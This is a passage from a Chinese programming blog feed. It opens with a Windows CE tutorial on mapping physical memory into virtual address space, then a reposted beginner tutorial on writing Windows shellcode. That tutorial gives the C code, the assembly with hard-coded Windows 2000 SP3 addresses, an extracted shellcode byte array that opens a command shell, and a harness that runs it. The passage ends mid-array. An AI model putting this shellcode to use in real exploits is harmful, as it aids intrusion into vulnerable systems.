<p><span><font face="Courier New" size=2>typedef LARGE_INTEGER PHYSICAL_ADDRESS, *PPHYSICAL_ADDRESS;</font></span></p>
<p><span><font size=2><font size=+0><font face="Courier New">// in winnt.h</font></font></font></span></p>
<p><span><font face="Courier New" size=2>typedef union _LARGE_INTEGER{</font></span></p>
<p><span><font size=2><font size=+0><font face="Courier New">&nbsp;struct{</font></font></font></span></p>
<p><span><font size=2><font size=+0><font face="Courier New"><span>&nbsp;&nbsp;&nbsp; </span>DWORD LowPart;</font></font></font></span></p>
<p><span><font size=2><font size=+0><font face="Courier New"><span>&nbsp;&nbsp;&nbsp; </span>LONG HighPart;</font></font></font></span></p>
<p><span><font size=2><font size=+0><font face="Courier New">&nbsp;};</font></font></font></span></p>
<p><span><font size=2><font size=+0><font face="Courier New">&nbsp;LONGLONG QuadPart;</font></font></font></span></p>
<p><span><font face="Courier New" size=2>} LARGE_INTEGER;</font></span></p>
<p><font size=2><span>可见，</span><span>Windows CE</span><span>中用</span><span>64</span><span>个</span><span>Bit</span><span>来代表物理地址，对于大多数</span><span>32</span><span>位的</span><span>CPU</span><span>而言，只需要把它的</span><span>HighPart</span><span>设置为</span><span>0</span><span>就可以了。</span></font></p>
<p><font size=2><span>如果要直接访问某一个地址的物理内存，</span><span>Windows CE</span><span>提供了</span><span>VirtualAlloc()</span><span>和</span><span>VirtualCopy()</span><span>函数，</span><span>VirtualAlloc</span><span>负责在虚拟内存空间内保留一段虚拟内存，而</span><span>VirtualCopy</span><span>负责把一段物理内存和虚拟内存绑定，这样，最终对物理内存的访问还是通过虚拟地址进行。它们的声明如下：</span></font></p>
<p><font size=2><font size=+0><span><font face="Courier New">// </font></span><span>申请虚拟内存</span></font></font></p>
<p><span><font face="Courier New" size=2>LPVOID VirtualAlloc(</font></span></p>
<p><font size=2><font size=+0><font face="Courier New"><span>&nbsp;LPVOID lpAddress, </span><span><span>&nbsp;&nbsp;&nbsp; </span>// </span></font><span>希望的虚拟内存起始地址</span></font></font></p>
<p><font size=2><font size=+0><font face="Courier New"><span>&nbsp;DWORD dwSize, </span><span><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>// </span></font><span>以字节为单位的大小</span></font></font></p>
<p><font size=2><font size=+0><font face="Courier New"><span>&nbsp;DWORD flAllocationType, </span><span>&nbsp;// </span></font><span>申请类型，分为</span><span><font face="Courier New">Reserve</font></span><span>和</span><span><font face="Courier New">Commit</font></span></font></font></p>
<p><font size=2><font size=+0><font face="Courier New"><span>&nbsp;DWORD flProtect </span><span><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>// </span></font><span>访问权限</span></font></font></p>
<p><font size=2><font size=+0><font face="Courier New"><span>);</span></font></font></font></p>
<p><font size=2><font size=+0><span><font face="Courier New">// </font></span><span>把物理内存绑定到虚拟地址空间</span></font></font></p>
<p><span><font face="Courier New" size=2>BOOL VirtualCopy( </font></span></p>
<p><font size=2><font size=+0><font face="Courier New"><span>&nbsp;LPVOID lpvDest, </span><span><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>// </span></font><span>虚拟内存的目标地址</span></font></font></p>
<p><font size=2><font size=+0><font face="Courier New"><span>&nbsp;LPVOID lpvSrc, </span><span><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>// </span></font><span>物理内存地址</span></font></font></p>
<p><font size=2><font size=+0><font face="Courier New"><span>&nbsp;DWORD cbSize, </span><span><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>// </span></font><span>要绑定的大小</span></font></font></p>
<p><font size=2><font size=+0><font face="Courier New"><span>&nbsp;DWORD fdwProtect </span><span><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>// </span></font><span>访问权限</span></font></font></p>
<p><span><font face="Courier New" size=2>);</font></span></p>
<p><font size=2><span>VirtualAlloc</span><span>对虚拟内存的申请分为两步，保留</span><span>MEM_RESERVE</span><span>和提交</span><span>MEM_COMMIT</span><span>。其中</span><span>MEM_RESERVE</span><span>只是在进程的虚拟地址空间内保留一段，并不分配实际的物理内存，因此保留的虚拟内存并不能被应用程序直接使用。</span><span>MEM_COMMIT</span><span>阶段才真正的为虚拟内存分配物理内存。</span></font></p>
<p><font size=2><span>下面的代码显示了如何使用</span><span>VirtualAlloc</span><span>和</span><span>VirtualCopy</span><span>来访问物理内存。因为</span><span>VirtualCopy</span><span>负责把一段物理内存和虚拟内存绑定，所以</span><span>VirtualAlloc</span><span>的时候只需要对内存保留，没有必要提交。</span></font></p>
<p><span><font size=2><font size=+0><font face="Courier New">FpDriverGlobals = </font></font></font></span></p>
<p><span><font size=2><font size=+0><font face="Courier New">(PDRIVER_GLOBALS) VirtualAlloc(</font></font></font></span></p>
<p><span><font size=2><font size=+0><font face="Courier New"><span>&nbsp;&nbsp;&nbsp; </span>0, </font></font></font></span></p>
<p><span><font size=2><font size=+0><font face="Courier New"><span>&nbsp;&nbsp;&nbsp; </span>DRIVER_GLOBALS_PHYSICAL_MEMORY_SIZE, </font></font></font></span></p>
<p><span><font size=2><font size=+0><font face="Courier New"><span>&nbsp;&nbsp;&nbsp; </span>MEM_RESERVE, </font></font></font></span></p>
<p><span><font size=2><font size=+0><font face="Courier New"><span>&nbsp;&nbsp;&nbsp; </span>PAGE_NOACCESS);</font></font></font></span></p>
<p><span><font size=2><font size=+0><font face="Courier New">&nbsp;if (FpDriverGlobals == NULL) {</font></font></font></span></p>
<p><span><font size=2><font size=+0><font face="Courier New"><span>&nbsp;&nbsp;&nbsp; </span>ERRORMSG(DRIVER_ERROR_MSG, (TEXT(" VirtualAlloc failed!\r\n")));</font></font></font></span></p>
<p><span><font size=2><font size=+0><font face="Courier New"><span>&nbsp;&nbsp;&nbsp; </span>return;</font></font></font></span></p>
<p><span><font size=2><font size=+0><font face="Courier New">&nbsp;}</font></font></font></span></p>
<p><span><font size=2><font size=+0><font face="Courier New">&nbsp;else {</font></font></font></span></p>
<p><span><font size=2><font size=+0><font face="Courier New"><span>&nbsp;&nbsp;&nbsp; </span>if (!VirtualCopy(</font></font></font></span></p>
<p><span><font size=2><font size=+0><font face="Courier New"><span>&nbsp;&nbsp;&nbsp; </span>(PVOID)FpDriverGlobals, </font></font></font></span></p>
<p><span><font size=2><font size=+0><font face="Courier New"><span>&nbsp;&nbsp;&nbsp; </span>(PVOID)(DRIVER_GLOBALS_PHYSICAL_MEMORY_START), </font></font></font></span></p>
<p><span><font size=2><font size=+0><font face="Courier New"><span>&nbsp;&nbsp;&nbsp; </span>DRIVER_GLOBALS_PHYSICAL_MEMORY_SIZE, </font></font></font></span></p>
<p><span><font size=2><font size=+0><font face="Courier New"><span>&nbsp;&nbsp;&nbsp; </span>(PAGE_READWRITE | PAGE_NOCACHE))) {</font></font></font></span></p>
<p><span><font size=2><font size=+0><font face="Courier New"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>ERRORMSG(DRIVER_ERROR_MSG, (TEXT("VirtualCopy failed!\r\n")));</font></font></font></span></p>
<p><span><font size=2><font size=+0><font face="Courier New"><span>&nbsp;&nbsp;&nbsp;&nbsp; </span><span>&nbsp;&nbsp;</span>return;</font></font></font></span></p>
<p><span><font size=2><font size=+0><font face="Courier New"><span>&nbsp;&nbsp;&nbsp; </span>}</font></font></font></span></p>
<p><font size=2><font size=+0><font face="Courier New"><span>&nbsp;}</span></font></font></font></p>
<p><font size=2><span>CEDDK</span><span>还提供了函数</span><span>MmMapIoSpace</span><span>用来把一段物理内存直接映射到虚拟内存。此函数的原形如下：</span></font></p>
<p><span><font size=2><font size=+0><font face="Courier New">PVOID MmMapIoSpace( </font></font></font></span></p>
<p><font size=2><font size=+0><font face="Courier New"><span>&nbsp;PHYSICAL_ADDRESS PhysicalAddress, </span><span>// </span></font><span>起始物理地址</span></font></font></p>
<p><font size=2><font size=+0><font face="Courier New"><span>&nbsp;ULONG NumberOfBytes, </span><span><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>// </span></font><span>要映射的字节数</span></font></font></p>
<p><font size=2><font size=+0><font face="Courier New"><span>&nbsp;BOOLEAN CacheEnable </span><span><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>// </span></font><span>是否缓存</span></font></font></p>
<p><span><font face="Courier New" size=2>);</font></span></p>
<p><font size=2><span>其实，</span><span>MmMapIoSpace</span><span>函数内部也是调用</span><span>VirtualAlloc</span><span>和</span><span>VirtualCopy</span><span>函数来实现物理地址到虚拟地址的映射的。</span><span>MmMapIoSpace</span><span>函数的原代码是公开的，我们可以从</span><span>%_WINCEROOT%\PUBLIC\COMMON\OAK\DRIVERS\CEDDK\DDK_MAP\ddk_map.c</span><span>得到。从</span><span>MmMapIoSpace</span><span>的实现我们也可以看出</span><span>VirtualAlloc</span><span>和</span><span>VirtualCopy</span><span>的用法：</span></font></p>
<p><font size=2><font size=+0><font face="Courier New"><span>PVOID</span><span> </span><span>MmMapIoSpace (</span></font></font></font></p>
<p><span><font size=2><font size=+0><font face="Courier New"><span>&nbsp;&nbsp;&nbsp; </span>IN PHYSICAL_ADDRESS PhysicalAddress,</font></font></font></span></p>
<p><span><font size=2><font size=+0><font face="Courier New"><span>&nbsp;&nbsp;&nbsp; </span>IN ULONG NumberOfBytes,</font></font></font></span></p>
<p><span><font size=2><font size=+0><font face="Courier New"><span>&nbsp;&nbsp;&nbsp; </span>IN BOOLEAN CacheEnable</font></font></font></span></p>
<p><span><font size=2><font size=+0><font face="Courier New"><span>&nbsp;&nbsp;&nbsp; </span>)</font></font></font></span></p>
<p><span><font size=2><font size=+0><font face="Courier New">{</font></font></font></span></p>
<p><font size=2><font size=+0><font face="Courier New"><span>PVOID pVirtualAddress;</span><span> </span><span>ULONGLONG SourcePhys;</span><span> </span></font></font></font></p>
<p><font size=2><font size=+0><font face="Courier New"><span>ULONG SourceSize;</span><span> </span><span>BOOL bSuccess;</span></font></font></font></p>
<p><span><font face="Courier New" size=2>&nbsp;</font></span></p>
<p><span><font size=2><font size=+0><font face="Courier New"><span>&nbsp;&nbsp;&nbsp; </span>SourcePhys = PhysicalAddress.QuadPart &amp; ~(PAGE_SIZE - 1);</font></font></font></span></p>
<p><span><font size=2><font size=+0><font face="Courier New"><span>&nbsp;&nbsp;&nbsp; </span>SourceSize = NumberOfBytes + (PhysicalAddress.LowPart &amp; (PAGE_SIZE - 1));</font></font></font></span></p>
<p><span><font face="Courier New" size=2>&nbsp;</font></span></p>
<p><span><font size=2><font size=+0><font face="Courier New"><span>&nbsp;&nbsp;&nbsp; </span>pVirtualAddress = VirtualAlloc(0, SourceSize, MEM_RESERVE, PAGE_NOACCESS);</font></font></font></span></p>
<p><span><font size=2><font size=+0><font face="Courier New"><span>&nbsp;&nbsp;&nbsp; </span>if (pVirtualAddress != NULL)</font></font></font></span></p>
<p><span><font size=2><font size=+0><font face="Courier New"><span>&nbsp;&nbsp;&nbsp; </span>{</font></font></font></span></p>
<p><span><font size=2><font size=+0><font face="Courier New"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>bSuccess = VirtualCopy(</font></font></font></span></p>
<p><span><font size=2><font size=+0><font face="Courier New"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>pVirtualAddress, (PVOID)(SourcePhys &gt;&gt; 8), SourceSize,</font></font></font></span></p>
<p><span><font size=2><font size=+0><font face="Courier New"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>PAGE_PHYSICAL | PAGE_READWRITE | (CacheEnable ? 0 : PAGE_NOCACHE));</font></font></font></span></p>
<p><span><font face="Courier New" size=2>&nbsp;</font></span></p>
<p><font size=2><font size=+0><font face="Courier New"><span><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>if (bSuccess)</span><span> </span><span>{</span></font></font></font></p>
<p><span><font size=2><font size=+0><font face="Courier New"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>(ULONG)pVirtualAddress += PhysicalAddress.LowPart &amp; (PAGE_SIZE - 1);</font></font></font></span></p>
<p><span><font size=2><font size=+0><font face="Courier New"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>}</font></font></font></span></p>
<p><span><font size=2><font size=+0><font face="Courier New"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>else {</font></font></font></span></p>
<p><span><font size=2><font size=+0><font face="Courier New"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>VirtualFree(pVirtualAddress, 0, MEM_RELEASE);</font></font></font></span></p>
<p><span><font size=2><font size=+0><font face="Courier New"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>pVirtualAddress = NULL;</font></font></font></span></p>
<p><span><font size=2><font size=+0><font face="Courier New"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>}</font></font></font></span></p>
<p><font size=2><font size=+0><font face="Courier New"><span><span>&nbsp;&nbsp;&nbsp; </span>}</span></font></font></font></p>
<p><span><font size=2><font size=+0><font face="Courier New"><span>&nbsp;&nbsp;&nbsp; </span>return pVirtualAddress;</font></font></font></span></p>
<p><span><font face="Courier New" size=2>}</font></span></p>
<p><font size=2><span>此外，</span><span>Windows CE</span><span>还供了</span><span>AllocPhysMem</span><span>函数和</span><span>FreePhysMem</span><span>函数，用来申请和释放一段连续的物理内存。函数可以保证申请的物理内存是连续的，如果函数成功，会返回虚拟内存的句柄和物理内存的起始地址。这对于</span><span>DMA</span><span>设备尤为有用。在这里就不详细介绍了，读者可以参考</span><span>Windows CE</span><span>的联机文档。</span></font></p>
<img src ="http://www.cppblog.com/zjj2816/aggbug/36669.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cppblog.com/zjj2816/" target="_blank">井泉</a> 2007-11-15 12:28 <a href="http://www.cppblog.com/zjj2816/archive/2007/11/15/36669.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>（转）打造Windows下自己的ShellCode</title><link>http://www.cppblog.com/zjj2816/archive/2007/08/20/30439.html</link><dc:creator>井泉</dc:creator><author>井泉</author><pubDate>Mon, 20 Aug 2007 09:17:00 GMT</pubDate><guid>http://www.cppblog.com/zjj2816/archive/2007/08/20/30439.html</guid><wfw:comment>http://www.cppblog.com/zjj2816/comments/30439.html</wfw:comment><comments>http://www.cppblog.com/zjj2816/archive/2007/08/20/30439.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cppblog.com/zjj2816/comments/commentRss/30439.html</wfw:commentRss><trackback:ping>http://www.cppblog.com/zjj2816/services/trackbacks/30439.html</trackback:ping><description><![CDATA[<div style="FONT-SIZE: 12px">为了帮助初学者了解ShellCode的编写，并能一步一步操作得到自己的ShellCode，因此将Windows下ShellCode的编写过程作详细的介绍，以利于像我一样的菜鸟，最终能够写出简单的但却是真实的ShellCode；而进一步高级的ShellCode的编写，也会在系列后面的文章中一步一步的演示的，希望大家会发现，Exp真好，ShellCode最美妙！ <br>ShellCode简介和编写步骤 <br>从以前的文章和别人的攻击代码中可以知道，ShellCode是以&#8220;\xFF\x3A\x45\x72&#8230;&#8230;&#8221;的形式出现在程序中的，而Exploit的构造就是想方设法地使计算机能转到我们的ShellCode上来，去执行&#8220;\xFF\x3A\x45\x72&#8230;&#8230;&#8221;――由此看出，ShellCode才是Exploit攻击的真正主宰（就如同独行者是我们文章的主宰一样）。而ShellCode的&#8220;\xFF\x3A\x45\x72&#8230;&#8230;&#8221;那些值，其实是机器码的形式，和一般程序在内存里面存的东东是没什么两样的，攻击程序把内存里面的数据动态改成ShellCode的值，再跳过去执行，就如同执行一个在内存中的一般程序一样，只不过完成的是我们的功能，溢出攻击就这样实现了。 <br>在此可以下个定义：ShellCode就是一段程序的机器码形式，而ShellCode的编写过程，就是得到我们想要程序的机器码的过程。 <br>当然ShellCode的特殊性和Windows下函数调用的特点，决定了和一般的汇编程序有所不同。所以其编写步骤应该是， <br>1．构想ShellCode的功能；<br>2．用C语言验证实现；<br>3．根据C语言实现，改成带有ShellCode特点的汇编；<br>4．最后得到机器码形式的ShellCode。<br>其中最重要的是第三步――改成有ShellCode特点的汇编，将在本文的后面讲到。 <br>首先第一步是构想ShellCode的功能。我们想要的功能可能是植入木马，杀掉防火墙，倒流时光，发电磁波找外星人等等（WTF：咳&#8230;&#8230;），但最基本的功能，还是希望开一个DOS窗口，那我们可以在DOS窗口中做很多事情，所以先介绍开DOS窗口ShellCode的写法吧。 <br>C语言代码<br>比如下面这个程序就可以完成开DOS窗口的功能，大家详细看下注释： <br>#include <br>#include <br>typedef void (*MYPROC)(LPTSTR); //定义函数指针<br>int main()<br>{<br>HINSTANCE LibHandle;<br>MYPROC ProcAdd;<br>LibHandle = LoadLibrary(&#8220;msvcrt.dll&#8221;);<br>ProcAdd = (MYPROC) GetProcAddress(LibHandle, "System"); //查找System函数地址<br>(ProcAdd) ("command.com"); //其实就是执行System(&#8220;command.com&#8221;)<br>return 0;<br>} <br>其实执行System(&#8220;command.com&#8221;)也可以完成开DOS窗口的功能，写成这么复杂是有原因的，解释一下该程序：首先Typedef void (*MYPROC)(LPTSTR)是定义一个函数指针类型，该类型的函数参数为是字符串，返回值为空。接着定义MYPROC ProcAdd，使ProcAdd为指向参数为是字符串，返回值为空的函数指针；使用LoadLibrary(&#8220;msvcrt.dll&#8221;);装载动态链接库msvcrt.dll；再使用ProcAdd = (MYPROC) GetProcAddress(LibHandle, System)获得 System的真实地址并赋给ProcAdd，之后ProcAdd里存的就是System函数的地址，以后使用这个地址来调用System函数；最后(ProcAdd) ("command.com")就是调用System("command.com")，可以获得一个DOS窗口。在窗口中我们可以执行Dir，Copy等命令。如下图1所示。 <br><br><img onmousewheel="return imgzoom(this);" onmouseover="if(this.width>screen.width*0.7) {this.resized=true; this.width=screen.width*0.7; this.style.cursor='hand'; this.alt='Click here to open new window\nCTRL+Mouse wheel to zoom in/out';}" onclick="if(!this.resized) {return true;} else {window.open('http://dx.3800hk.com/news/UploadFiles_9994/200511/20051117052428759.jpg');}" alt="" onerror=javascript:errpic(this) src="http://dx.3800hk.com/news/UploadFiles_9994/200511/20051117052428759.jpg" onload="if(this.width>screen.width*0.7) {this.resized=true; this.width=screen.width*0.7; this.alt='Click here to open new window\nCTRL+Mouse wheel to zoom in/out';}" border=0><br><br><br>图1 <br>获得函数的地址 <br>程序中用GetProcAddress函数获得System的真实地址，但地址究竟是多少，如何查看呢？ <br>在VC中，我们按F10进入调试状态，然后在Debug工具栏中点最后一个按钮Disassemble和第四个按钮Registers，这样出现了源程序的汇编代码和寄存器状态窗口，如图2所示 <br><br><img onmousewheel="return imgzoom(this);" onmouseover="if(this.width>screen.width*0.7) {this.resized=true; this.width=screen.width*0.7; this.style.cursor='hand'; this.alt='Click here to open new window\nCTRL+Mouse wheel to zoom in/out';}" onclick="if(!this.resized) {return true;} else {window.open('http://dx.3800hk.com/news/UploadFiles_9994/200511/20051117052429291.jpg');}" alt="" onerror=javascript:errpic(this) src="http://dx.3800hk.com/news/UploadFiles_9994/200511/20051117052429291.jpg" onload="if(this.width>screen.width*0.7) {this.resized=true; this.width=screen.width*0.7; this.alt='Click here to open new window\nCTRL+Mouse wheel to zoom in/out';}" border=0><br><br><br>图2 <br>继续按F10执行，直到到ProcAdd = (MYPROC) GetProcAddress(LibHandle, "System")语句下的Cll dword ptr [__imp__GetProcAddress@8 (00424194)]执行后，EAX变为7801AFC3，说明在我的机器上System( )函数的地址是0x7801AFC3。如图3所示。 <br><br><img onmousewheel="return imgzoom(this);" onmouseover="if(this.width>screen.width*0.7) {this.resized=true; this.width=screen.width*0.7; this.style.cursor='hand'; this.alt='Click here to open new window\nCTRL+Mouse wheel to zoom in/out';}" onclick="if(!this.resized) {return true;} else {window.open('http://dx.3800hk.com/news/UploadFiles_9994/200511/20051117052429721.jpg');}" alt="" onerror=javascript:errpic(this) src="http://dx.3800hk.com/news/UploadFiles_9994/200511/20051117052429721.jpg" onload="if(this.width>screen.width*0.7) {this.resized=true; this.width=screen.width*0.7; this.alt='Click here to open new window\nCTRL+Mouse wheel to zoom in/out';}" border=0><br><br><br>图3 <br>WTF：注意本次测试中读者的机器是Windows 2000 SP3，不同环境可能地址不同。 <br>为什么EAX就是System( )函数的地址呢？那是因为函数执行的返回值，在汇编下通常是放在EAX中的，这算是计算机系统的约定吧，所以GetProcAddress（&#8221;System&#8221;）的返回值（System函数的地址），就在EAX中，为0x7801AFC3。 <br>Windows下函数的调用原理 <br>为什么要这么麻烦的得到System函数的地址呢？这是因为在Windows下，函数的调用方法是先将参数从右到左压入堆栈，然后Call该函数的地址。比如执行函数Fun（argv1, argv2），先把参数从右到左压入堆栈，这里就是依次把argv2，argv1压入堆栈里，然后Call Fun函数的地址。这里的Call Fun函数地址，其实等于两步，一是把保存当前EIP，二是跳到Func函数的地址执行，即Push EIP ＋ Jmp Fun。其过程如下图4所示。 <br><br><img onmousewheel="return imgzoom(this);" onmouseover="if(this.width>screen.width*0.7) {this.resized=true; this.width=screen.width*0.7; this.style.cursor='hand'; this.alt='Click here to open new window\nCTRL+Mouse wheel to zoom in/out';}" onclick="if(!this.resized) {return true;} else {window.open('http://dx.3800hk.com/news/UploadFiles_9994/200511/20051117052429460.jpg');}" alt="" onerror=javascript:errpic(this) src="http://dx.3800hk.com/news/UploadFiles_9994/200511/20051117052429460.jpg" onload="if(this.width>screen.width*0.7) {this.resized=true; this.width=screen.width*0.7; this.alt='Click here to open new window\nCTRL+Mouse wheel to zoom in/out';}" border=0><br><br><br>图4 <br>同理，我们要执行System("command.com")：首先参数入栈，这里只有一个参数，所以就把Command.com的地址压入堆栈，注意是Command.com字符串的地址；然后Call System函数的地址，就完成了执行。如图5所示。 <br><br><img onmousewheel="return imgzoom(this);" onmouseover="if(this.width>screen.width*0.7) {this.resized=true; this.width=screen.width*0.7; this.style.cursor='hand'; this.alt='Click here to open new window\nCTRL+Mouse wheel to zoom in/out';}" onclick="if(!this.resized) {return true;} else {window.open('http://dx.3800hk.com/news/UploadFiles_9994/200511/20051117052430710.jpg');}" alt="" onerror=javascript:errpic(this) src="http://dx.3800hk.com/news/UploadFiles_9994/200511/20051117052430710.jpg" onload="if(this.width>screen.width*0.7) {this.resized=true; this.width=screen.width*0.7; this.alt='Click here to open new window\nCTRL+Mouse wheel to zoom in/out';}" border=0><br><br><br>图5 <br>构造有ShellCode特点的汇编 <br>明白了Windows函数的执行原理，我们要执行System(&#8220;Command.exe&#8221;)，就要先把Command.exe字符串的地址入栈，但Command.exe字符串在哪儿呢？内存中可能没有，但我们可以自己构造！ <br>我们把&#8216;Command.exe&#8217;一个字符一个字符的赋给堆栈，这样&#8216;Command.exe&#8217;字符串就有了，而栈顶的指针ESP正好是Command.exe字符串的地址，我们Push esp，就完成了参数――Command.exe字符串的地址入栈。如下图6所示。 <br><br><img onmousewheel="return imgzoom(this);" onmouseover="if(this.width>screen.width*0.7) {this.resized=true; this.width=screen.width*0.7; this.style.cursor='hand'; this.alt='Click here to open new window\nCTRL+Mouse wheel to zoom in/out';}" onclick="if(!this.resized) {return true;} else {window.open('http://dx.3800hk.com/news/UploadFiles_9994/200511/20051117052430841.jpg');}" alt="" onerror=javascript:errpic(this) src="http://dx.3800hk.com/news/UploadFiles_9994/200511/20051117052430841.jpg" onload="if(this.width>screen.width*0.7) {this.resized=true; this.width=screen.width*0.7; this.alt='Click here to open new window\nCTRL+Mouse wheel to zoom in/out';}" border=0><br><br><br>图6 <br>参数入栈了，然后该Call System函数的地址。刚才已经看到，在Windows 2000 SP3上，System函数的地址为0x7801AFC3，所以Call 0x7801AFC3就行了。<br>把思路合起来，可以写出执行System(&#8220;Command.exe&#8221;)的带有ShellCode特点的汇编代码如下。 <br>mov esp,ebp ; <br>push ebp ; <br>mov ebp,esp ; 把当前esp赋给ebp <br>xor edi,edi ;<br>push edi ;压入0，esp－4,; 作用是构造字符串的结尾\0字符。 <br>sub esp,08h ;加上上面，一共有12个字节,;用来放"command.com"。 <br>mov byte ptr [ebp-0ch],63h ; c<br>mov byte ptr [ebp-0bh],6fh ; o<br>mov byte ptr [ebp-0ah],6dh ; m<br>mov byte ptr [ebp-09h],6Dh ; m<br>mov byte ptr [ebp-08h],61h ; a<br>mov byte ptr [ebp-07h],6eh ; n<br>mov byte ptr [ebp-06h],64h ; d<br>mov byte ptr [ebp-05h],2Eh ; .<br>mov byte ptr [ebp-04h],63h ; c<br>mov byte ptr [ebp-03h],6fh ; o<br>mov byte ptr [ebp-02h],6dh ; m一个一个生成串"command.com".<br>lea eax,[ebp-0ch] ; <br>push eax ; command.com串地址作为参数入栈<br>mov eax, 0x7801AFC3 ;<br>call eax ; call System函数的地址 <br>明白了原理再看实现，是不是清楚了很多呢？ <br>提取ShellCode <br>首先来验证一下，在VC中可以用__asm关键字插入汇编，我们把System(&#8220;Command.exe&#8221;)用我们写的汇编替换，LoadLibrary先不动，然后执行，成功！弹出了我们想要的DOS窗口。如下图7所示。 <br><br><img onmousewheel="return imgzoom(this);" onmouseover="if(this.width>screen.width*0.7) {this.resized=true; this.width=screen.width*0.7; this.style.cursor='hand'; this.alt='Click here to open new window\nCTRL+Mouse wheel to zoom in/out';}" onclick="if(!this.resized) {return true;} else {window.open('http://dx.3800hk.com/news/UploadFiles_9994/200511/20051117052430346.jpg');}" alt="" onerror=javascript:errpic(this) src="http://dx.3800hk.com/news/UploadFiles_9994/200511/20051117052430346.jpg" onload="if(this.width>screen.width*0.7) {this.resized=true; this.width=screen.width*0.7; this.alt='Click here to open new window\nCTRL+Mouse wheel to zoom in/out';}" border=0><br><br><br>图7 <br>同样的道理，LoadLibrary(&#8220;msvcrt.dll&#8221;)也仿照上面改成汇编，注意LoadLibrary在Windows 2000 SP3上的地址为0x77e69f64。把两段汇编合起来，将其编译、链接、执行，也成功了！如下图8所示。 <br><br><img onmousewheel="return imgzoom(this);" onmouseover="if(this.width>screen.width*0.7) {this.resized=true; this.width=screen.width*0.7; this.style.cursor='hand'; this.alt='Click here to open new window\nCTRL+Mouse wheel to zoom in/out';}" onclick="if(!this.resized) {return true;} else {window.open('http://dx.3800hk.com/news/UploadFiles_9994/200511/20051117052430809.jpg');}" alt="" onerror=javascript:errpic(this) src="http://dx.3800hk.com/news/UploadFiles_9994/200511/20051117052430809.jpg" onload="if(this.width>screen.width*0.7) {this.resized=true; this.width=screen.width*0.7; this.alt='Click here to open new window\nCTRL+Mouse wheel to zoom in/out';}" border=0><br><br><br>图8 <br>有了上面的工作，提取ShellCode就只剩下体力活了。我们对刚才的全汇编的程序，按F10进入调试，接着按下Debug工具栏的Disassembly按钮，点右键，在弹出菜单中选中Code Bytes，就出现汇编对应的机器码。因为汇编可以完全完成我们的功能，所以我们把汇编对应的机器码原封不动抄下来，就得到我们想要的ShellCode了。提取出来的ShellCode如下。 <br>unsigned char shellcode[] =<br>"\x55\x8B\xEC\x33\xC0\x50\x50\x50\xC6\x45\xF4\x4D\xC6\x45\xF5\x53"<br>"\xC6\x45\xF6\x56\xC6\x45\xF7\x43\xC6\x45\xF8\x52\xC6\x45\xF9\x54\xC6\x45\xFA\x2E\xC6"<br>"\x45\xFB\x44\xC6\x45\xFC\x4C\xC6\x45\xFD\x4C\xBA"<br>"\x64\x9f\xE6\x77" //sp3 loadlibrary地址0x77e69f64<br>"\x52\x8D\x45\xF4\x50" <br>"\xFF\x55\xF0"<br>"\x55\x8B\xEC\x83\xEC\x2C\xB8\x63\x6F\x6D\x6D\x89\x45\xF4\xB8\x61\x6E\x64\x2E" <br>"\x89\x45\xF8\xB8\x63\x6F\x6D\x22\x89\x45\xFC\x33\xD2\x88\x55\xFF\x8D\x45\xF4" <br>"\x50\xB8"<br>"\xc3\xaf\x01\x78" //sp3 System地址0x7801afc3<br>"\xFF\xD0"; <br>验证ShellCode <br>最后要验证提取出来的ShellCode能否完成我们的功能。在以前的文章中已经说过方法，只需要新建一个工程和c源文件，然后把ShellCode部分拷下来，存为一个数组，最后在main中添上( (void(*)(void)) &amp;shellcode )()，如下： <br>unsigned char shellcode[] =<br>"\x55\x8B\xEC\x33\xC0\x50\x50\x50\xC6\x45\xF4\x4D\xC6\x45\xF5\x53"<br>"\xC6\x45\xF6\x56\xC6\x45\xF7\x43\xC6\x45\xF8\x52\xC6\x45\xF9\x54\xC6\x45\xFA\x2E\xC6"<br>"\x45\xFB\x44\xC6\x45\xFC\x4C\xC6\x45\xFD\x4C\xBA"<br>"\x64\x9f\xE6\x77" //sp3 loadlibrary地址0x77e69f64<br>"\x52\x8D\x45\xF4\x50" 